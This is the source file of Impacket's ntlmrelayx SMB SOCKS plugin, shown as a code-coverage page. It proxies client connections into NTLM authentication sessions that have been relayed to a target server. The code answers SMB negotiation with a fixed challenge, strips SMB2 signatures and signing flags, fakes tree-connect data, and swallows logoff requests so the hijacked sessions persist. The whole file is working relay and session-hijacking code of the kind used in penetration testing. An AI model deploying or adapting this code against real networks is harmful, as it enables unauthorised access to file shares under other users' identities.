Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# A Socks Proxy for the SMB Protocol 

11# 

12# A simple SOCKS server that proxy connection to relayed connections 

13# 

14# Author: 

15# Alberto Solino (@agsolino) 

16# 

17import calendar 

18import time 

19import random 

20import string 

21from struct import unpack 

22from binascii import hexlify 

23from six import b 

24 

25from impacket import LOG 

26from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 

27from impacket.nmb import NetBIOSTCPSession 

28from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_SUCCESS, STATUS_ACCESS_DENIED 

29from impacket.ntlm import NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_SIGN 

30from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBExtended_Security_Data, \ 

31 SMBExtended_Security_Parameters, SMBNTLMDialect_Parameters, SMBNTLMDialect_Data, \ 

32 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ 

33 SMBSessionSetupAndX_Extended_Parameters, SMBSessionSetupAndX_Extended_Data 

34from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_AID 

35from impacket.smb3 import SMB2Packet, SMB2_FLAGS_SERVER_TO_REDIR, SMB2_NEGOTIATE, SMB2Negotiate_Response, \ 

36 SMB2_SESSION_SETUP, SMB2SessionSetup_Response, SMB2SessionSetup, SMB2_LOGOFF, SMB2Logoff_Response, \ 

37 SMB2_DIALECT_WILDCARD, SMB2_FLAGS_SIGNED, SMB2_SESSION_FLAG_IS_GUEST 

38from impacket.spnego import MechTypes, ASN1_SUPPORTED_MECH 

39from impacket.smb import SMB_DIALECT 

40from impacket.smbserver import getFileTime 

41 

42# Besides using this base class you need to define one global variable when 

43# writing a plugin: 

44PLUGIN_CLASS = "SMBSocksRelay" 

45 

46class SMBSocksRelay(SocksRelay): 

47 PLUGIN_NAME = 'SMB Socks Plugin' 

48 PLUGIN_SCHEME = 'SMB' 

49 

50 def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 

51 SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 

52 self.__NBSession = None 

53 self.isSMB2 = False 

54 self.serverDialect = SMB_DIALECT 

55 

56 # Let's verify the target's server SMB version, will need it for later. 

57 # We're assuming all connections to the target server use the same SMB version 

58 for key in list(activeRelays.keys()): 

59 if key != 'data' and key != 'scheme': 

60 if 'protocolClient' in activeRelays[key]: 

61 self.serverDialect = activeRelays[key]['protocolClient'].session.getDialect() 

62 self.isSMB2 = activeRelays[key]['protocolClient'].session.getDialect() is not SMB_DIALECT 

63 break 

64 

65 @staticmethod 

66 def getProtocolPort(): 

67 return 445 

68 

69 def initConnection(self): 

70 # An incoming SMB Connection. Nice 

71 self.__NBSession = NetBIOSTCPSession('', 'HOST', self.targetHost, sess_port=self.targetPort, sock=self.socksSocket) 

72 

73 def skipAuthentication(self): 

74 packet, smbCommand = self.getSMBPacket() 

75 

76 if isinstance(packet, SMB2Packet) is False: 

77 if packet['Command'] == SMB.SMB_COM_NEGOTIATE: 

78 # Nego packet, we should answer with supporting only SMBv1 

79 resp = self.getNegoAnswer(packet) 

80 self.__NBSession.send_packet(resp.getData()) 

81 # If target Server is running SMB2+ and we're here, there should be a SMB2+ NEGO packet coming 

82 # calling skipAuth again and go from there 

83 if self.isSMB2: 

84 return self.skipAuthentication() 

85 packet, smbCommand = self.getSMBPacket() 

86 

87 if packet['Command'] == SMB.SMB_COM_SESSION_SETUP_ANDX: 

88 # We have a session setup, let's answer what the original target answered us. 

89 self.clientConnection, self.username = self.processSessionSetup(packet) 

90 if self.clientConnection is None: 

91 return False 

92 else: 

93 if packet['Command'] == SMB2_NEGOTIATE: 

94 resp = self.getNegoAnswer(packet) 

95 self.__NBSession.send_packet(resp.getData()) 

96 packet, smbCommand = self.getSMBPacket() 

97 

98 if packet['Command'] == SMB2_SESSION_SETUP: 

99 self.clientConnection, self.username = self.processSessionSetup(packet) 

100 if self.clientConnection is None: 

101 return False 

102 

103 return True 

104 

105 def tunnelConnection(self): 

106 # For the rest of the remaining packets, we should just read and send. Except when trying to log out, 

107 # that's forbidden! ;) 

108 while True: 

109 # 1. Get Data from client 

110 data = self.__NBSession.recv_packet().get_trailer() 

111 

112 if len(data) == 0: 

113 break 

114 

115 if self.isSMB2 is False: 

116 packet = NewSMBPacket(data=data) 

117 

118 if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX: 

119 # We do NOT want to get logged off do we? 

120 LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort)) 

121 data = self.getLogOffAnswer(packet) 

122 else: 

123 # 2. Send it to the relayed session 

124 self.clientConnection.getSMBServer()._sess.send_packet(data) 

125 

126 # 3. Get the target's answer 

127 data = self.clientConnection.getSMBServer()._sess.recv_packet().get_trailer() 

128 

129 packet = NewSMBPacket(data=data) 

130 

131 if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet['Command'] == SMB.SMB_COM_TRANSACTION2: 

132 try: 

133 while True: 

134 # Anything else to read? with timeout of 1 sec. This is something to test or find 

135 # a better way to control 

136 data2 = self.clientConnection.getSMBServer()._sess.recv_packet(timeout=1).get_trailer() 

137 self.__NBSession.send_packet(data) 

138 data = data2 

139 except Exception as e: 

140 if str(e).find('timed out') > 0: 

141 pass 

142 else: 

143 raise 

144 

145 if len(data) == 0: 

146 break 

147 else: 

148 packet = SMB2Packet(data=data) 

149 origID = packet['MessageID'] 

150 

151 # Just in case, let's remove any signing attempt 

152 packet['Signature'] = "" 

153 packet['Flags'] &= ~(SMB2_FLAGS_SIGNED) 

154 

155 # Let's be sure the TreeConnect Table is filled with fake data 

156 if (packet['TreeID'] in self.clientConnection.getSMBServer()._Session['TreeConnectTable']) is False: 

157 self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']] = {} 

158 self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] = False 

159 

160 if packet['Command'] == SMB2_LOGOFF: 

161 # We do NOT want to get logged off do we? 

162 LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort)) 

163 data = self.getLogOffAnswer(packet) 

164 else: 

165 # 2. Send it to the relayed session 

166 self.clientConnection.getSMBServer().sendSMB(packet) 

167 

168 # 3. Get the target's answer 

169 packet = self.clientConnection.getSMBServer().recvSMB() 

170 

171 if len(packet.getData()) == 0: 

172 break 

173 else: 

174 packet['MessageID'] = origID 

175 data = packet.getData() 

176 

177 # 4. Send it back to the client 

178 self.__NBSession.send_packet(data) 

179 

180 return True 

181 

182 def getSMBPacket(self): 

183 data = self.__NBSession.recv_packet() 

184 try: 

185 packet = NewSMBPacket(data=data.get_trailer()) 

186 smbCommand = SMBCommand(packet['Data'][0]) 

187 except Exception: 

188 # Maybe a SMB2 packet? 

189 try: 

190 packet = SMB2Packet(data = data.get_trailer()) 

191 smbCommand = None 

192 except Exception as e: 

193 LOG.debug("Exception:", exc_info=True) 

194 LOG.error('SOCKS: %s' % str(e)) 

195 

196 return packet, smbCommand 

197 

198 def getNegoAnswer(self, recvPacket): 

199 

200 if self.isSMB2 is False: 

201 smbCommand = SMBCommand(recvPacket['Data'][0]) 

202 respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE) 

203 

204 resp = NewSMBPacket() 

205 resp['Flags1'] = SMB.FLAGS1_REPLY 

206 resp['Pid'] = recvPacket['Pid'] 

207 resp['Tid'] = recvPacket['Tid'] 

208 resp['Mid'] = recvPacket['Mid'] 

209 

210 dialects = smbCommand['Data'].split(b'\x02') 

211 index = dialects.index(b'NT LM 0.12\x00') - 1 

212 # Let's fill the data for NTLM 

213 if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY: 

214 resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE 

215 _dialects_data = SMBExtended_Security_Data() 

216 _dialects_data['ServerGUID'] = b'A' * 16 

217 blob = SPNEGO_NegTokenInit() 

218 blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

219 _dialects_data['SecurityBlob'] = blob.getData() 

220 

221 _dialects_parameters = SMBExtended_Security_Parameters() 

222 _dialects_parameters[ 

223 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE 

224 _dialects_parameters['ChallengeLength'] = 0 

225 

226 else: 

227 resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE 

228 _dialects_parameters = SMBNTLMDialect_Parameters() 

229 _dialects_data = SMBNTLMDialect_Data() 

230 _dialects_data['Payload'] = b'' 

231 _dialects_data['Challenge'] = b'\x11\x22\x33\x44\x55\x66\x77\x88' 

232 _dialects_parameters['ChallengeLength'] = 8 

233 _dialects_parameters['Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS 

234 

235 _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS 

236 _dialects_parameters['DialectIndex'] = index 

237 _dialects_parameters['SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER 

238 _dialects_parameters['MaxMpxCount'] = 1 

239 _dialects_parameters['MaxNumberVcs'] = 1 

240 _dialects_parameters['MaxBufferSize'] = 64000 

241 _dialects_parameters['MaxRawSize'] = 65536 

242 _dialects_parameters['SessionKey'] = 0 

243 _dialects_parameters['LowDateTime'] = 0 

244 _dialects_parameters['HighDateTime'] = 0 

245 _dialects_parameters['ServerTimeZone'] = 0 

246 

247 respSMBCommand['Data'] = _dialects_data 

248 respSMBCommand['Parameters'] = _dialects_parameters 

249 

250 resp.addCommand(respSMBCommand) 

251 else: 

252 resp= SMB2Packet() 

253 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR 

254 resp['Status'] = STATUS_SUCCESS 

255 resp['CreditRequestResponse'] = 1 

256 resp['CreditCharge'] = 1 

257 resp['Command'] = SMB2_NEGOTIATE 

258 resp['SessionID'] = 0 

259 resp['MessageID'] = 0 

260 resp['TreeID'] = 0 

261 

262 respSMBCommand = SMB2Negotiate_Response() 

263 

264 respSMBCommand['SecurityMode'] = 1 

265 if isinstance(recvPacket, NewSMBPacket): 

266 respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD 

267 else: 

268 respSMBCommand['DialectRevision'] = self.serverDialect 

269 resp['MessageID'] = 1 

270 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) 

271 respSMBCommand['Capabilities'] = 0x7 

272 respSMBCommand['MaxTransactSize'] = 65536 

273 respSMBCommand['MaxReadSize'] = 65536 

274 respSMBCommand['MaxWriteSize'] = 65536 

275 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) 

276 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) 

277 respSMBCommand['SecurityBufferOffset'] = 0x80 

278 

279 blob = SPNEGO_NegTokenInit() 

280 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], 

281 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

282 

283 respSMBCommand['Buffer'] = blob.getData() 

284 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) 

285 

286 resp['Data'] = respSMBCommand 

287 

288 return resp 

289 

290 def processSessionSetup(self, recvPacket): 

291 

292 if self.isSMB2 is False: 

293 respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

294 smbCommand = SMBCommand(recvPacket['Data'][0]) 

295 

296 if smbCommand['WordCount'] == 12: 

297 respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() 

298 respData = SMBSessionSetupAndX_Extended_Response_Data() 

299 

300 # First of all, we should received a type 1 message. Let's answer it 

301 # NEGOTIATE_MESSAGE 

302 challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] 

303 challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) 

304 

305 respToken = SPNEGO_NegTokenResp() 

306 # accept-incomplete. We want more data 

307 respToken['NegState'] = b'\x01' 

308 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

309 respToken['ResponseToken'] = challengeMessage.getData() 

310 

311 respParameters['SecurityBlobLength'] = len(respToken.getData()) 

312 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 

313 respData['SecurityBlob'] = respToken.getData() 

314 

315 respData['NativeOS'] = '' 

316 respData['NativeLanMan'] = '' 

317 respSMBCommand['Parameters'] = respParameters 

318 respSMBCommand['Data'] = respData 

319 

320 resp = NewSMBPacket() 

321 resp['Flags1'] = SMB.FLAGS1_REPLY 

322 resp['Flags2'] = SMB.FLAGS2_NT_STATUS 

323 resp['Pid'] = recvPacket['Pid'] 

324 resp['Tid'] = recvPacket['Tid'] 

325 resp['Mid'] = recvPacket['Mid'] 

326 resp['Uid'] = 0 

327 errorCode = STATUS_MORE_PROCESSING_REQUIRED 

328 resp['ErrorCode'] = errorCode >> 16 

329 resp['ErrorClass'] = errorCode & 0xff 

330 resp.addCommand(respSMBCommand) 

331 

332 self.__NBSession.send_packet(resp.getData()) 

333 recvPacket, smbCommand = self.getSMBPacket() 

334 

335 sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) 

336 sessionSetupData = SMBSessionSetupAndX_Extended_Data() 

337 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 

338 sessionSetupData.fromString(smbCommand['Data']) 

339 

340 if unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: 

341 # If there no GSSAPI ID, it must be an AUTH packet 

342 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 

343 token = blob['ResponseToken'] 

344 else: 

345 # NEGOTIATE packet 

346 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 

347 token = blob['MechToken'] 

348 

349 # Now we should've received a type 3 message 

350 authenticateMessage = NTLMAuthChallengeResponse() 

351 authenticateMessage.fromString(token) 

352 

353 try: 

354 username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

355 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

356 except UnicodeDecodeError: 

357 # Not Unicode encoded? 

358 username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() 

359 

360 # Check if we have a connection for the user 

361 if username in self.activeRelays: 

362 LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) 

363 errorCode = STATUS_SUCCESS 

364 smbClient = self.activeRelays[username]['protocolClient'].session 

365 uid = smbClient.getSMBServer().get_uid() 

366 else: 

367 LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) 

368 errorCode = STATUS_ACCESS_DENIED 

369 uid = 0 

370 smbClient = None 

371 

372 resp = NewSMBPacket() 

373 resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY 

374 resp['Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY 

375 resp['Command'] = recvPacket['Command'] 

376 resp['Pid'] = recvPacket['Pid'] 

377 resp['Tid'] = recvPacket['Tid'] 

378 resp['Mid'] = recvPacket['Mid'] 

379 resp['Uid'] = uid 

380 resp['ErrorCode'] = errorCode >> 16 

381 resp['ErrorClass'] = errorCode & 0xff 

382 respData['NativeOS'] = '' 

383 respData['NativeLanMan'] = '' 

384 

385 if uid == 0: 

386 resp['Data'] = b'\x00\x00\x00' 

387 smbClient = None 

388 else: 

389 respToken = SPNEGO_NegTokenResp() 

390 # accept-completed 

391 respToken['NegState'] = b'\x00' 

392 respParameters['SecurityBlobLength'] = len(respToken) 

393 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 

394 respData['SecurityBlob'] = respToken.getData() 

395 

396 respSMBCommand['Parameters'] = respParameters 

397 respSMBCommand['Data'] = respData 

398 resp.addCommand(respSMBCommand) 

399 

400 self.__NBSession.send_packet(resp.getData()) 

401 

402 

403 return smbClient, username 

404 else: 

405 LOG.error('SOCKS: Can\'t handle standard security at the moment!') 

406 return None 

407 else: 

408 respSMBCommand = SMB2SessionSetup_Response() 

409 sessionSetupData = SMB2SessionSetup(recvPacket['Data']) 

410 

411 securityBlob = sessionSetupData['Buffer'] 

412 

413 rawNTLM = False 

414 if unpack('B', securityBlob[0:1])[0] == ASN1_AID: 

415 # NEGOTIATE packet 

416 blob = SPNEGO_NegTokenInit(securityBlob) 

417 token = blob['MechToken'] 

418 if len(blob['MechTypes'][0]) > 0: 

419 # Is this GSSAPI NTLM or something else we don't support? 

420 mechType = blob['MechTypes'][0] 

421 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']: 

422 # Nope, do we know it? 

423 if mechType in MechTypes: 

424 mechStr = MechTypes[mechType] 

425 else: 

426 mechStr = hexlify(mechType) 

427 LOG.debug("Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr) 

428 # We don't know the token, we answer back again saying 

429 # we just support NTLM. 

430 # ToDo: Build this into a SPNEGO_NegTokenResp() 

431 respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 

432 respSMBCommand['SecurityBufferOffset'] = 0x48 

433 respSMBCommand['SecurityBufferLength'] = len(respToken) 

434 respSMBCommand['Buffer'] = respToken 

435 

436 resp = SMB2Packet() 

437 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR 

438 resp['Status'] = STATUS_SUCCESS 

439 resp['CreditRequestResponse'] = 1 

440 resp['CreditCharge'] = recvPacket['CreditCharge'] 

441 resp['Command'] = recvPacket['Command'] 

442 resp['SessionID'] = 0 

443 resp['Reserved'] = recvPacket['Reserved'] 

444 resp['MessageID'] = recvPacket['MessageID'] 

445 resp['TreeID'] = recvPacket['TreeID'] 

446 resp['Data'] = respSMBCommand 

447 

448 self.__NBSession.send_packet(resp.getData()) 

449 recvPacket, smbCommand = self.getSMBPacket() 

450 return self.processSessionSetup(recvPacket) 

451 

452 elif unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 

453 # AUTH packet 

454 blob = SPNEGO_NegTokenResp(securityBlob) 

455 token = blob['ResponseToken'] 

456 else: 

457 # No GSSAPI stuff, raw NTLMSSP 

458 rawNTLM = True 

459 token = securityBlob 

460 

461 # NEGOTIATE_MESSAGE 

462 # First of all, we should received a type 1 message. Let's answer it 

463 challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] 

464 challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) 

465 

466 if rawNTLM is False: 

467 respToken = SPNEGO_NegTokenResp() 

468 # accept-incomplete. We want more data 

469 respToken['NegState'] = b'\x01' 

470 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

471 

472 respToken['ResponseToken'] = challengeMessage.getData() 

473 else: 

474 respToken = challengeMessage 

475 

476 resp = SMB2Packet() 

477 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR 

478 resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED 

479 resp['CreditRequestResponse'] = 1 

480 resp['CreditCharge'] = recvPacket['CreditCharge'] 

481 resp['Command'] = recvPacket['Command'] 

482 resp['SessionID'] = 0 

483 resp['Reserved'] = recvPacket['Reserved'] 

484 resp['MessageID'] = recvPacket['MessageID'] 

485 resp['TreeID'] = recvPacket['TreeID'] 

486 

487 respSMBCommand['SecurityBufferOffset'] = 0x48 

488 respSMBCommand['SecurityBufferLength'] = len(respToken) 

489 respSMBCommand['Buffer'] = respToken.getData() 

490 resp['Data'] = respSMBCommand 

491 

492 self.__NBSession.send_packet(resp.getData()) 

493 recvPacket, smbCommand = self.getSMBPacket() 

494 

495 sessionSetupData = SMB2SessionSetup(recvPacket['Data']) 

496 securityBlob = sessionSetupData['Buffer'] 

497 

498 blob = SPNEGO_NegTokenResp(securityBlob) 

499 token = blob['ResponseToken'] 

500 

501 # AUTHENTICATE_MESSAGE, here we deal with authentication 

502 authenticateMessage = NTLMAuthChallengeResponse() 

503 authenticateMessage.fromString(token) 

504 

505 try: 

506 username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

507 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

508 except UnicodeDecodeError: 

509 # Not Unicode encoded? 

510 username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper() 

511 

512 respToken = SPNEGO_NegTokenResp() 

513 

514 # Check if we have a connection for the user 

515 if username in self.activeRelays: 

516 LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost)) 

517 errorCode = STATUS_SUCCESS 

518 smbClient = self.activeRelays[username]['protocolClient'].session 

519 uid = smbClient.getSMBServer()._Session['SessionID'] 

520 else: 

521 LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost)) 

522 errorCode = STATUS_ACCESS_DENIED 

523 uid = 0 

524 smbClient = None 

525 

526 # accept-completed 

527 respToken['NegState'] = b'\x00' 

528 

529 resp = SMB2Packet() 

530 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR 

531 resp['Status'] = errorCode 

532 resp['CreditRequestResponse'] = 1 

533 resp['CreditCharge'] = recvPacket['CreditCharge'] 

534 resp['Command'] = recvPacket['Command'] 

535 resp['SessionID'] = uid 

536 resp['Reserved'] = recvPacket['Reserved'] 

537 resp['MessageID'] = recvPacket['MessageID'] 

538 resp['TreeID'] = recvPacket['TreeID'] 

539 

540 respSMBCommand['SecurityBufferOffset'] = 0x48 

541 

542 # This is important for SAMBA client to work. If it is not set as a guest session, 

543 # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced). 

544 respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST 

545 respSMBCommand['SecurityBufferLength'] = len(respToken) 

546 respSMBCommand['Buffer'] = respToken.getData() 

547 resp['Data'] = respSMBCommand 

548 

549 self.__NBSession.send_packet(resp.getData()) 

550 return smbClient, username 

551 

552 def getLogOffAnswer(self, recvPacket): 

553 

554 if self.isSMB2 is False: 

555 respSMBCommand = SMBCommand(SMB.SMB_COM_LOGOFF_ANDX) 

556 

557 resp = NewSMBPacket() 

558 resp['Flags1'] = SMB.FLAGS1_REPLY 

559 resp['Pid'] = recvPacket['Pid'] 

560 resp['Tid'] = recvPacket['Tid'] 

561 resp['Mid'] = recvPacket['Mid'] 

562 resp['Uid'] = recvPacket['Uid'] 

563 

564 respParameters = b'' 

565 respData = b'' 

566 respSMBCommand['Parameters'] = respParameters 

567 respSMBCommand['Data'] = respData 

568 

569 resp.addCommand(respSMBCommand) 

570 

571 else: 

572 respSMBCommand = SMB2Logoff_Response() 

573 

574 resp = SMB2Packet() 

575 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR 

576 resp['Status'] = STATUS_SUCCESS 

577 resp['CreditRequestResponse'] = 1 

578 resp['CreditCharge'] = recvPacket['CreditCharge'] 

579 resp['Command'] = recvPacket['Command'] 

580 resp['SessionID'] = recvPacket['SessionID'] 

581 resp['Reserved'] = recvPacket['Reserved'] 

582 resp['MessageID'] = recvPacket['MessageID'] 

583 resp['TreeID'] = recvPacket['TreeID'] 

584 resp['Data'] = respSMBCommand 

585 

586 return resp